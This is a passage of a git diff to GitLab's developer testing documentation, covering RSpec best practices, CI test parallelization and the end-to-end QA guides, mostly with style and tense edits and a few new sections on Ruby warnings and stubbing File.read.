+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/telemetry/snowplow.md b/doc/development/telemetry/snowplow.md
index fd75d29286b..7cd385be681 100644
--- a/doc/development/telemetry/snowplow.md
+++ b/doc/development/telemetry/snowplow.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/snowplow.md'
---
This document was moved to [another location](../product_analytics/snowplow.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/telemetry/usage_ping.md b/doc/development/telemetry/usage_ping.md
index 1026e7a5a66..c890353fe3b 100644
--- a/doc/development/telemetry/usage_ping.md
+++ b/doc/development/telemetry/usage_ping.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/usage_ping.md'
---
This document was moved to [another location](../product_analytics/usage_ping.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/testing.md b/doc/development/testing.md
index 79ef8e75432..a0130bfb4ac 100644
--- a/doc/development/testing.md
+++ b/doc/development/testing.md
@@ -3,3 +3,6 @@ redirect_to: 'testing_guide/index.md'
---
This document was moved to [another location](testing_guide/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index dabb18c1f75..d1b7883451f 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -50,6 +50,22 @@ bundle exec guard
When using spring and guard together, use `SPRING=1 bundle exec guard` instead to make use of spring.
+### Ruby warnings
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47767) in GitLab 13.7.
+
+We've enabled [deprecation warnings](https://ruby-doc.org/core-2.7.2/Warning.html)
+by default when running specs. Making these warnings more visible to developers
+helps upgrading to newer Ruby versions.
+
+You can silence deprecation warnings by setting the environment variable
+`SILENCE_DEPRECATIONS`, for example:
+
+```shell
+# silence all deprecation warnings
+SILENCE_DEPRECATIONS=1 bin/rspec spec/models/project_spec.rb
+```
+
### Test speed
GitLab has a massive test suite that, without [parallelization](ci.md#test-suite-parallelization-on-the-ci), can take hours
@@ -311,7 +327,7 @@ Use the coverage reports to ensure your tests cover 100% of your code.
### System / Feature tests
-NOTE: **Note:**
+NOTE:
Before writing a new system test, [please consider **not**
writing one](testing_levels.md#consider-not-writing-a-system-test)!
@@ -432,7 +448,7 @@ instead of 30+ seconds in case of a regular `spec_helper`.
### `subject` and `let` variables
-GitLab's RSpec suite has made extensive use of `let`(along with its strict, non-lazy
+The GitLab RSpec suite has made extensive use of `let`(along with its strict, non-lazy
version `let!`) variables to reduce duplication. However, this sometimes [comes at the cost of clarity](https://thoughtbot.com/blog/lets-not),
so we need to set some guidelines for their use going forward:
@@ -603,6 +619,32 @@ it "really connects to Prometheus", :permit_dns do
And if you need more specific control, the DNS blocking is implemented in
`spec/support/helpers/dns_helpers.rb` and these methods can be called elsewhere.
+#### Stubbing File methods
+
+In the situations where you need to
+[stub](https://relishapp.com/rspec/rspec-mocks/v/3-9/docs/basics/allowing-messages)
+methods such as `File.read`, make sure to:
+
+1. Stub `File.read` for only the filepath you are interested in.
+1. Call the original implementation for other filepaths.
+
+Otherwise `File.read` calls from other parts of the codebase get
+stubbed incorrectly. You should use the `stub_file_read`, and
+`expect_file_read` helper methods which does the stubbing for
+`File.read` correctly.
+
+```ruby
+# bad, all Files will read and return nothing
+allow(File).to receive(:read)
+
+# good
+stub_file_read(my_filepath)
+
+# also OK
+allow(File).to receive(:read).and_call_original
+allow(File).to receive(:read).with(my_filepath)
+```
+
#### Filesystem
Filesystem data can be roughly split into "repositories", and "everything else".
@@ -678,7 +720,7 @@ at all possible.
#### Test Snowplow events
-CAUTION: **Warning:**
+WARNING:
Snowplow performs **runtime type checks** by using the [contracts gem](https://rubygems.org/gems/contracts).
Since Snowplow is **by default disabled in tests and development**, it can be hard to
**catch exceptions** when mocking `Gitlab::Tracking`.
@@ -750,7 +792,7 @@ describe "#==" do
end
```
-CAUTION: **Caution:**
+WARNING:
Only use simple values as input in the `where` block. Using procs, stateful
objects, FactoryBot-created objects etc. can lead to
[unexpected results](https://github.com/tomykaira/rspec-parameterized/issues/8).
diff --git a/doc/development/testing_guide/ci.md b/doc/development/testing_guide/ci.md
index 618f9010b4d..7318f767219 100644
--- a/doc/development/testing_guide/ci.md
+++ b/doc/development/testing_guide/ci.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab tests in the Continuous Integration (CI) context
@@ -12,8 +12,8 @@ Our current CI parallelization setup is as follows:
1. The `retrieve-tests-metadata` job in the `prepare` stage ensures we have a
`knapsack/report-master.json` file:
- - The `knapsack/report-master.json` file is fetched from S3, if it's not here
- we initialize the file with `{}`.
+ - The `knapsack/report-master.json` file is fetched from the latest `master` pipeline which runs `update-tests-metadata`
+ (for now it's the 2-hourly scheduled master pipeline), if it's not here we initialize the file with `{}`.
1. Each `[rspec|rspec-ee] [unit|integration|system|geo] n m` job are run with
`knapsack rspec` and should have an evenly distributed share of tests:
- It works because the jobs have access to the `knapsack/report-master.json`
@@ -25,9 +25,9 @@ Our current CI parallelization setup is as follows:
1. The `update-tests-metadata` job (which only runs on scheduled pipelines for
[the canonical project](https://gitlab.com/gitlab-org/gitlab) takes all the
`knapsack/rspec*_pg_*.json` files and merge them all together into a single
- `knapsack/report-master.json` file that is then uploaded to S3.
+ `knapsack/report-master.json` file that is saved as artifact.
-After that, the next pipeline will use the up-to-date `knapsack/report-master.json` file.
+After that, the next pipeline uses the up-to-date `knapsack/report-master.json` file.
## Monitoring
diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md
index ef0bd9902e1..d60b780eeea 100644
--- a/doc/development/testing_guide/end_to_end/beginners_guide.md
+++ b/doc/development/testing_guide/end_to_end/beginners_guide.md
@@ -1,20 +1,20 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Beginner's guide to writing end-to-end tests
-In this tutorial, you will learn about the creation of end-to-end (_e2e_) tests
+This tutorial walks you through the creation of end-to-end (_e2e_) tests
for [GitLab Community Edition](https://about.gitlab.com/install/?version=ce) and
[GitLab Enterprise Edition](https://about.gitlab.com/install/).
-By the end of this tutorial, you will be able to:
+By the end of this tutorial, you can:
- Determine whether an end-to-end test is needed.
- Understand the directory structure within `qa/`.
-- Write a basic end-to-end test that will validate login features.
+- Write a basic end-to-end test that validates login features.
- Develop any missing [page object](page_objects.md) libraries.
## Before you write a test
@@ -29,7 +29,7 @@ must be configured to run the specs. The end-to-end tests:
- Create [resources](resources.md) (such as project, issue, user) on an ad-hoc basis.
- Test the UI and API interfaces, and use the API to efficiently set up the UI tests.
-TIP: **Tip:**
+NOTE:
For more information, see [End-to-end testing Best Practices](best_practices.md).
## Determine if end-to-end tests are needed
@@ -52,7 +52,7 @@ For information about the distribution of tests per level in GitLab, see
- Finally, discuss the proposed test with the developer(s) involved in implementing
the feature and the lower-level tests.
-CAUTION: **Caution:**
+WARNING:
Check both [GitLab Community Edition](https://gitlab-org.gitlab.io/gitlab-foss/coverage-ruby/#_AllFiles) and
[GitLab Enterprise Edition](https://gitlab-org.gitlab.io/gitlab/coverage-ruby/#_AllFiles) coverage projects
for previously-written tests for this feature. For analyzing the code coverage,
@@ -67,18 +67,18 @@ end-to-end flows, and is easiest to understand.
The GitLab QA end-to-end tests are organized by the different
[stages in the DevOps lifecycle](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features/browser_ui).
Determine where the test should be placed by
-[stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages),
-determine which feature the test will belong to, and then place it in a subdirectory
+[stage](https://about.gitlab.com/handbook/product/categories/#devops-stages),
+determine which feature the test belongs to, and then place it in a subdirectory
under the stage.
![DevOps lifecycle by stages](img/gl-devops-lifecycle-by-stage-numbers_V12_10.png)
-If the test is Enterprise Edition only, the test will be created in the `features/ee`
+If the test is Enterprise Edition only, the test is created in the `features/ee`
directory, but follow the same DevOps lifecycle format.
## Create a skeleton test
-In the first part of this tutorial we will be testing login, which is owned by the
+In the first part of this tutorial we are testing login, which is owned by the
Manage stage. Inside `qa/specs/features/browser_ui/1_manage/login`, create a
file `basic_login_spec.rb`.
@@ -86,7 +86,7 @@ file `basic_login_spec.rb`.
See the [`RSpec.describe` outer block](#the-outer-rspecdescribe-block)
-CAUTION: **Deprecation notice:**
+WARNING:
The outer `context` [was deprecated](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/550) in `13.2`
in adherence to RSpec 4.0 specifications. Use `RSpec.describe` instead.
@@ -286,12 +286,12 @@ end
Note the following important points:
-- At the start of our example, we will be at the `page/issue/show.rb` [page](page_objects.md).
+- At the start of our example, we are at the `page/issue/show.rb` [page](page_objects.md).
- Our test fabricates only what it needs, when it needs it.
- The issue is fabricated through the API to save time.
- GitLab prefers `let()` over instance variables. See
[best practices](../best_practices.md#subject-and-let-variables).
-- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but will be
+- `be_closed` is not implemented in `page/project/issue/show.rb` yet, but is
implemented in the next step.
The issue is fabricated as a [Resource](resources.md), which is a GitLab entity
@@ -349,3 +349,9 @@ Where `<test_file>` is:
- `qa/specs/features/browser_ui/1_manage/login/login_spec.rb` when running the Login example.
- `qa/specs/features/browser_ui/2_plan/issues/issue_spec.rb` when running the Issue example.
+
+## End-to-end test merge request template
+
+When submitting a new end-to-end test, use the ["New End to End Test"](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/New%20End%20To%20End%20Test.md)
+merge request description template for additional
+steps that are required prior a successful merge.
diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md
index 4d12a0f79cb..b761e33367f 100644
--- a/doc/development/testing_guide/end_to_end/best_practices.md
+++ b/doc/development/testing_guide/end_to_end/best_practices.md
@@ -1,7 +1,7 @@
---
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# End-to-end testing Best Practices
@@ -278,10 +278,10 @@ In line with [using the API](#prefer-api-over-ui), use a `Commit` resource whene
```ruby
# Using a commit resource
-Resource::Commit.fabricate_via_api! do |commit|
+Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.commit_message = 'Initial commit'
commit.add_files([
- {file_path: 'README.md', content: 'Hello, GitLab'}
+ { file_path: 'README.md', content: 'Hello, GitLab' }
])
end
@@ -372,8 +372,10 @@ end
[See this merge request for a real example of adding a custom matcher](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46302).
-NOTE: **Note:**
-We need to create custom negatable matchers only for the predicate methods we've added to the test framework, and only if we're using `not_to`. If we use `to have_no_*` a negatable matcher is not necessary.
+We are creating custom negatable matchers in `qa/spec/support/matchers`.
+
+NOTE:
+We need to create custom negatable matchers only for the predicate methods we've added to the test framework, and only if we're using `not_to`. If we use `to have_no_*` a negatable matcher is not necessary but it increases code readability.
### Why we need negatable matchers
diff --git a/doc/development/testing_guide/end_to_end/dynamic_element_validation.md b/doc/development/testing_guide/end_to_end/dynamic_element_validation.md
index 871b3f80c18..1e7f528f6ff 100644
--- a/doc/development/testing_guide/end_to_end/dynamic_element_validation.md
+++ b/doc/development/testing_guide/end_to_end/dynamic_element_validation.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dynamic Element Validation
@@ -23,7 +23,7 @@ We interpret user actions on the page to have some sort of effect. These actions
### Navigation
-When a page is navigated to, there are elements that will always appear on the page unconditionally.
+When a page is navigated to, there are elements that always appear on the page unconditionally.
Dynamic element validation is instituted when using
@@ -100,7 +100,7 @@ Runtime::Browser.visit(:gitlab, Page::MyPage)
execute_stuff
```
-will invoke GitLab QA to scan `MyPage` for `my_element` and `another_element` to be on the page before continuing to
+invokes GitLab QA to scan `MyPage` for `my_element` and `another_element` to be on the page before continuing to
`execute_stuff`
### Clicking
@@ -113,7 +113,7 @@ def open_layer
end
```
-will invoke GitLab QA to ensure that `message_content` appears on
+invokes GitLab QA to ensure that `message_content` appears on
the Layer upon clicking `my_element`.
-This will imply that the Layer is indeed rendered before we continue our test.
+This implies that the Layer is indeed rendered before we continue our test.
diff --git a/doc/development/testing_guide/end_to_end/environment_selection.md b/doc/development/testing_guide/end_to_end/environment_selection.md
index f5e3e99b79e..7e34b6c265d 100644
--- a/doc/development/testing_guide/end_to_end/environment_selection.md
+++ b/doc/development/testing_guide/end_to_end/environment_selection.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Environment selection
@@ -19,7 +19,7 @@ We can specify what environments or pipelines to run tests against using the `on
| `production` | Match against production | `Static` |
| `pipeline` | Match against a pipeline | `Array` or `Static`|
-CAUTION: **Caution:**
+WARNING:
You cannot specify `:production` and `{ <switch>: 'value' }` simultaneously.
These options are mutually exclusive. If you want to specify production, you
can control the `tld` and `domain` independently.
@@ -35,7 +35,7 @@ can control the `tld` and `domain` independently.
| `dev.gitlab.org` | `only: { tld: '.org', domain: 'gitlab', subdomain: 'dev' }` | `(dev).gitlab.org` |
| `staging.gitlab.com & domain.gitlab.com` | `only: { subdomain: %i[staging domain] }` | `(staging|domain).+.com` |
| `nightly` | `only: { pipeline: :nightly }` | "nightly" |
-| `nightly`, `canary` | `only_run_in_pipeline: [:nightly, :canary]` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) |
+| `nightly`, `canary` | `only: { pipeline: [:nightly, :canary] }` | ["nightly"](https://gitlab.com/gitlab-org/quality/nightly) and ["canary"](https://gitlab.com/gitlab-org/quality/canary) |
```ruby
RSpec.describe 'Area' do
@@ -65,4 +65,4 @@ If you want to run an `only: { :pipeline }` tagged test on your local GDK make s
Similarly to specifying that a test should only run against a specific environment, it's also possible to quarantine a
test only when it runs against a specific environment. The syntax is exactly the same, except that the `only: { ... }`
hash is nested in the [`quarantine: { ... }`](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests) hash.
-For instance, `quarantine: { only: { subdomain: :staging } }` will only quarantine the test when run against staging.
+For instance, `quarantine: { only: { subdomain: :staging } }` only quarantines the test when run against staging.
diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md
index 2ff1c9f6dc3..1e0eda6491a 100644
--- a/doc/development/testing_guide/end_to_end/feature_flags.md
+++ b/doc/development/testing_guide/end_to_end/feature_flags.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Testing with feature flags
@@ -10,14 +10,14 @@ To run a specific test with a feature flag enabled you can use the `QA::Runtime:
enable and disable feature flags ([via the API](../../../api/features.md)).
Note that administrator authorization is required to change feature flags. `QA::Runtime::Feature`
-will automatically authenticate as an administrator as long as you provide an appropriate access
+automatically authenticates as an administrator as long as you provide an appropriate access
token via `GITLAB_QA_ADMIN_ACCESS_TOKEN` (recommended), or provide `GITLAB_ADMIN_USERNAME`
and `GITLAB_ADMIN_PASSWORD`.
Please be sure to include the tag `:requires_admin` so that the test can be skipped in environments
where admin access is not available.
-CAUTION: **Caution:**
+WARNING:
You are strongly advised to [enable feature flags only for a group, project, user](../../feature_flags/development.md#feature-actors),
or [feature group](../../feature_flags/development.md#feature-groups). This makes it possible to
test a feature in a shared environment without affecting other users.
@@ -60,7 +60,7 @@ feature_group = "a_feature_group"
Runtime::Feature.enable(:feature_flag_name, feature_group: feature_group)
```
-If no scope is provided, the feature flag will be set instance-wide:
+If no scope is provided, the feature flag is set instance-wide:
```ruby
# This will affect all users!
diff --git a/doc/development/testing_guide/end_to_end/flows.md b/doc/development/testing_guide/end_to_end/flows.md
index 291d8bd5319..b99a1f9deb7 100644
--- a/doc/development/testing_guide/end_to_end/flows.md
+++ b/doc/development/testing_guide/end_to_end/flows.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Flows in GitLab QA
diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md
index 1d144359ed8..d981f9bcbba 100644
--- a/doc/development/testing_guide/end_to_end/index.md
+++ b/doc/development/testing_guide/end_to_end/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# End-to-end Testing
@@ -126,8 +126,8 @@ For example, when we [dequarantine](https://about.gitlab.com/handbook/engineerin
a flaky test we first want to make sure that it's no longer flaky.
We can do that using the `ce:custom-parallel` and `ee:custom-parallel` jobs.
Both are manual jobs that you can configure using custom variables.
-When you click the name (not the play icon) of one of the parallel jobs,
-you'll be prompted to enter variables. You can use any of [the variables
+When clicking the name (not the play icon) of one of the parallel jobs,
+you are prompted to enter variables. You can use any of [the variables
that can be used with `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/what_tests_can_be_run.md#supported-gitlab-environment-variables)
as well as these:
@@ -137,7 +137,7 @@ as well as these:
| `QA_TESTS` | The test(s) to run (no default, which means run all the tests in the scenario). Use file paths as you would when running tests via RSpec, e.g., `qa/specs/features/ee/browser_ui` would include all the `EE` UI tests. |
| `QA_RSPEC_TAGS` | The RSpec tags to add (no default) |
-For now [manual jobs with custom variables will not use the same variable
+For now [manual jobs with custom variables don't use the same variable
when retried](https://gitlab.com/gitlab-org/gitlab/-/issues/31367), so if you want to run the same test(s) multiple times,
specify the same variables in each `custom-parallel` job (up to as
many of the 10 available jobs that you want to run).
diff --git a/doc/development/testing_guide/end_to_end/page_objects.md b/doc/development/testing_guide/end_to_end/page_objects.md
index 7eacaf4b08a..939e44cedd9 100644
--- a/doc/development/testing_guide/end_to_end/page_objects.md
+++ b/doc/development/testing_guide/end_to_end/page_objects.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Page objects in GitLab QA
@@ -22,7 +22,7 @@ fields.
## Why do we need that?
We need page objects because we need to reduce duplication and avoid problems
-whenever someone changes some selectors in GitLab's source code.
+whenever someone changes some selectors in the GitLab source code.
Imagine that we have a hundred specs in GitLab QA, and we need to sign into
GitLab each time, before we make assertions. Without a page object, one would
@@ -30,13 +30,13 @@ need to rely on volatile helpers or invoke Capybara methods directly. Imagine
invoking `fill_in :user_login` in every `*_spec.rb` file / test example.
When someone later changes `t.text_field :login` in the view associated with
-this page to `t.text_field :username` it will generate a different field
+this page to `t.text_field :username` it generates a different field
identifier, what would effectively break all tests.
Because we are using `Page::Main::Login.perform(&:sign_in_using_credentials)`
everywhere, when we want to sign in to GitLab, the page object is the single
-source of truth, and we will need to update `fill_in :user_login`
-to `fill_in :user_username` only in a one place.
+source of truth, and we must update `fill_in :user_login`
+to `fill_in :user_username` only in one place.
## What problems did we have in the past?
@@ -44,7 +44,7 @@ We do not run QA tests for every commit, because of performance reasons, and
the time it would take to build packages and test everything.
That is why when someone changes `t.text_field :login` to
-`t.text_field :username` in the _new session_ view we won't know about this
+`t.text_field :username` in the _new session_ view we don't know about this
change until our GitLab QA nightly pipeline fails, or until someone triggers
`package-and-qa` action in their merge request.
@@ -56,14 +56,14 @@ problem by introducing coupling between GitLab CE / EE views and GitLab QA.
## How did we solve fragile tests problem?
-Currently, when you add a new `Page::Base` derived class, you will also need to
+Currently, when you add a new `Page::Base` derived class, you must also
define all selectors that your page objects depend on.
Whenever you push your code to CE / EE repository, `qa:selectors` sanity test
-job is going to be run as a part of a CI pipeline.
+job runs as a part of a CI pipeline.
-This test is going to validate all page objects that we have implemented in
-`qa/page` directory. When it fails, you will be notified about missing
+This test validates all page objects that we have implemented in
+`qa/page` directory. When it fails, it notifies you about missing
or invalid views/selectors definition.
## How to properly implement a page object?
@@ -95,10 +95,10 @@ end
### Defining Elements
-The `view` DSL method will correspond to the Rails view, partial, or Vue component that renders the elements.
+The `view` DSL method corresponds to the Rails view, partial, or Vue component that renders the elements.
The `element` DSL method in turn declares an element for which a corresponding
-`data-qa-selector=element_name_snaked` data attribute will need to be added to the view file.
+`data-qa-selector=element_name_snaked` data attribute must be added to the view file.
You can also define a value (String or Regexp) to match to the actual view
code but **this is deprecated** in favor of the above method for two reasons:
@@ -257,7 +257,7 @@ These modules must:
1. Include/prepend other modules and define their `view`/`elements` in a `base.class_eval` block to ensure they're
defined in the class that prepends the module.
-These steps ensure the sanity selectors check will detect problems properly.
+These steps ensure the sanity selectors check detect problems properly.
For example, `qa/qa/ee/page/merge_request/show.rb` adds EE-specific methods to `qa/qa/page/merge_request/show.rb` (with
`QA::Page::MergeRequest::Show.prepend_if_ee('QA::EE::Page::MergeRequest::Show')`) and following is how it's implemented
diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md
index d73bae331d5..b6aef123c64 100644
--- a/doc/development/testing_guide/end_to_end/resources.md
+++ b/doc/development/testing_guide/end_to_end/resources.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Resource class in GitLab QA
@@ -94,7 +94,7 @@ needs a group to be created in.
To define a resource attribute, you can use the `attribute` method with a
block using the other resource class to fabricate the resource.
-That will allow access to the other resource from your resource object's
+That allows access to the other resource from your resource object's
methods. You would usually use it in `#fabricate!`, `#api_get_path`,
`#api_post_path`, `#api_post_body`.
@@ -144,7 +144,7 @@ end
```
**Note that all the attributes are lazily constructed. This means if you want
-a specific attribute to be fabricated first, you'll need to call the
+a specific attribute to be fabricated first, you must call the
attribute method first even if you're not using it.**
#### Product data attributes
@@ -185,7 +185,7 @@ end
```
**Note again that all the attributes are lazily constructed. This means if
-you call `shirt.brand` after moving to the other page, it'll not properly
+you call `shirt.brand` after moving to the other page, it doesn't properly
retrieve the data because we're no longer on the expected page.**
Consider this:
@@ -201,7 +201,7 @@ shirt.project.visit!
shirt.brand # => FAIL!
```
-The above example will fail because now we're on the project page, trying to
+The above example fails because now we're on the project page, trying to
construct the brand data from the shirt page, however we moved to the project
page already. There are two ways to solve this, one is that we could try to
retrieve the brand before visiting the project again:
@@ -219,8 +219,8 @@ shirt.project.visit!
shirt.brand # => OK!
```
-The attribute will be stored in the instance therefore all the following calls
-will be fine, using the data previously constructed. If we think that this
+The attribute is stored in the instance, therefore all the following calls
+are fine, using the data previously constructed. If we think that this
might be too brittle, we could eagerly construct the data right before
ending fabrication:
@@ -249,12 +249,12 @@ module QA
end
```
-The `populate` method will iterate through its arguments and call each
+The `populate` method iterates through its arguments and call each
attribute respectively. Here `populate(:brand)` has the same effect as
just `brand`. Using the populate method makes the intention clearer.
-With this, it will make sure we construct the data right after we create the
-shirt. The drawback is that this will always construct the data when the
+With this, it ensures we construct the data right after we create the
+shirt. The drawback is that this always constructs the data when the
resource is fabricated even if we don't need to use the data.
Alternatively, we could just make sure we're on the right page before
@@ -290,7 +290,7 @@ module QA
end
```
-This will make sure it's on the shirt page before constructing brand, and
+This ensures it's on the shirt page before constructing brand, and
move back to the previous page to avoid breaking the state.
#### Define an attribute based on an API response
@@ -343,16 +343,16 @@ end
- resource instance variables have the highest precedence
- attributes from the API response take precedence over attributes from the
block (usually from Browser UI)
-- attributes without a value will raise a `QA::Resource::Base::NoValueError` error
+- attributes without a value raises a `QA::Resource::Base::NoValueError` error
## Creating resources in your tests
To create a resource in your tests, you can call the `.fabricate!` method on
the resource class.
-Note that if the resource class supports API fabrication, this will use this
+Note that if the resource class supports API fabrication, this uses this
fabrication by default.
-Here is an example that will use the API fabrication method under the hood
+Here is an example that uses the API fabrication method under the hood
since it's supported by the `Shirt` resource class:
```ruby
@@ -389,8 +389,7 @@ my_shirt = Resource::Shirt.fabricate_via_api! do |shirt|
end
```
-In this case, the result will be similar to calling
-`Resource::Shirt.fabricate!`.
+In this case, the result is similar to calling `Resource::Shirt.fabricate!`.
## Where to ask for help?
diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
index 8e99cf18ea0..6d6f7fbcf8d 100644
--- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
+++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# RSpec metadata for end-to-end tests
@@ -14,16 +14,16 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| Tag | Description |
|-----|-------------|
| `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. |
-| `:gitaly_cluster` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. |
-| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run.
-| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test will also include provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ |
+| `:gitaly_cluster` | The test runs against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. |
+| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) provisions the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run.
+| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test also includes provisioning of at least one Kubernetes cluster to test against. _This tag is often be paired with `:orchestrated`._ |
| `:only` | The test is only to be run against specific environments or pipelines. See [Environment selection](environment_selection.md) for more information. |
-| `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify GitLab's configuration (for example, Staging). |
-| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), will run in a separate job that only includes quarantined tests, and is allowed to fail. The test will be skipped in its regular job so that if it fails it will not hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). |
